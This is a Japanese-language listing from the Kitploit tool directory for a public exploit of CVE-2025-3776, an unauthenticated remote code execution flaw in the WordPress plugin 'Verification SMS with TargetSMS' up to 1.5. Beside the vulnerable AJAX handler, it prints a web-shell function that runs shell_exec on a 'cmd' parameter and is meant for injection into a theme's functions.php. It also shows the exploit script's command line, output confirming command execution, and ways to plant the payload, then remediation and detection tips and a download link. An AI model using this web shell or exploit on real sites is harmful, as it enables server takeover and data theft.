Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/nxploited/cve-2025-3776
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubnxploited/cve-2025-3776

CVE-2025-3776

WordPress Verification SMS with TargetSMS Plugin <= 1.5 は、Remote Code Execution (RCE) に対して脆弱です。

リポジトリを見る
7111年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-3776 - 「Verification SMS with TargetSMS」プラグインにおけるリモートコード実行 (<= 1.5)

プラグイン情報

  • プラグイン名: Verification SMS with TargetSMS
  • 脆弱性のあるバージョン: <= 1.5
  • CVE ID: CVE-2025-3776
  • タイプ: リモートコード実行 (RCE)
  • OWASP分類: A1: インジェクション
  • CVSS深刻度: 10.0(重大)
  • 必要な権限: 未認証
  • 公開日: 2025年4月23日

根本原因: プログラミングミス

この脆弱性は、許可された関数のホワイトリストによるサニタイズを行わずに、ユーザー制御の入力に対してcall_user_func()を使用したことに起因します。これにより、認証なしでメモリ内の既存のPHP関数を実行できるロジック上の欠陥が生じ、深刻なリモートコード実行(RCE)状態に陥ります。

脆弱性のあるコードの場所

ファイル: /inc/ajax.php

root@kitploit:~
add_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');

function targetvr_ajax_handler(){
    $callback = targetvr_get_postData('callback', 'string');

    if ($callback and function_exists($callback)){
        call_user_func($callback);
    } else {
        targetvr_return_json(false);
    }

    wp_die();
}

このコードは、認証されていないユーザーがメモリ内の任意の関数をトリガーすることを許可します。これには、攻撃者がロードできた場合の悪意のある関数も含まれます。


この脆弱性のテスト方法

✅ 前提条件

この脆弱性を悪用するには、WordPress環境に呼び出し可能な関数がすでに存在している必要があります。WordPressのプラグインやテーマは関数を自動ロードできるため、攻撃者はアクティブなテーマのfunctions.phpファイルを介して独自の関数を注入できます。

📍 変更するファイル:

root@kitploit:~
target.com/wp-content/themes/twentytwentyfour/functions.php

🛠️ 以下のペイロードをfunctions.phpの末尾に注入します:

root@kitploit:~
function evil() {
    if (isset($_GET['cmd'])) {
        echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
    } else {
        echo '<pre>' . shell_exec("whoami") . '</pre>';
    }
    exit;
}

✅ これにより、evil()関数がメモリにロードされ、call_user_func()を介して実行可能になります。


Pythonスクリプトを使用した悪用手順

✅ 使い方:

root@kitploit:~
python3 CVE-2025-3776.py -u http://target.com -c "id"

✅ 出力例:

root@kitploit:~
[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>

Exploit By : Nxploited ( Khaled Alenazi )

Pythonスクリプトのヘルプメニュー:

root@kitploit:~
usage: CVE-2025-3776.py [-h] -u URL [-c CMD]

CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5

# Exploit by Nxploited ( Khaled Alenazi )

options:
  -h, --help     show this help message and exit
  -u, --url URL  Target WordPress site URL
  -c, --cmd CMD  Command to execute (default: whoami)

インジェクションがない場合の動作

メモリ内にevil()関数や同様の関数が利用できない場合:

  • リクエストは以下の結果になります:
root@kitploit:~
{"status":false}
  • これはコールバック関数が存在しないことを意味し、エクスプロイトは安全に失敗します。

実際の悪用経路

  • テーマファイルインジェクション: アクティブなテーマのfunctions.phpを変更(実演通り)。
  • ファイルマネージャープラグイン経由: WP File Managerなどのプラグインを使用して、evil()を含むPHPファイルをアップロード。
  • LFIまたはインクルードの欠陥経由: 既存のローカルファイルインクルード(LFI)を利用して、悪意のある関数を含むアップロード済みファイルをインクルード。

リスクと影響

悪意のある関数がロードされると、認証されていない攻撃者は以下を実行できます:

  • 任意のシェルコマンドを実行
  • 機密性の高いサーバーファイルを表示
  • サイト全体またはサーバー全体の侵害に発展

推奨事項

  • バージョン1.5以下を実行している場合は、すぐにプラグインを無効化または削除してください。
  • wp-adminを介したファイル編集へのアクセスを制限する
  • 安全な代替品でプラグインを修正または置き換える

検出

以下のエンドポイントへの繰り返しのPOSTリクエストを監視します:

root@kitploit:~
/wp-admin/admin-ajax.php?action=targetvrHHndler

callback=evilまたは予期しない関数名が含まれているか確認。


法的免責事項

この情報は教育的かつ倫理的な研究目的でのみ提供されます。著者は、この情報の使用によって引き起こされる誤用や損害について一切の責任を負いません。


エクスプロイトの帰属

エクスプロイト作者: Nxploited (Khaled Alenazi)

ツールをダウンロード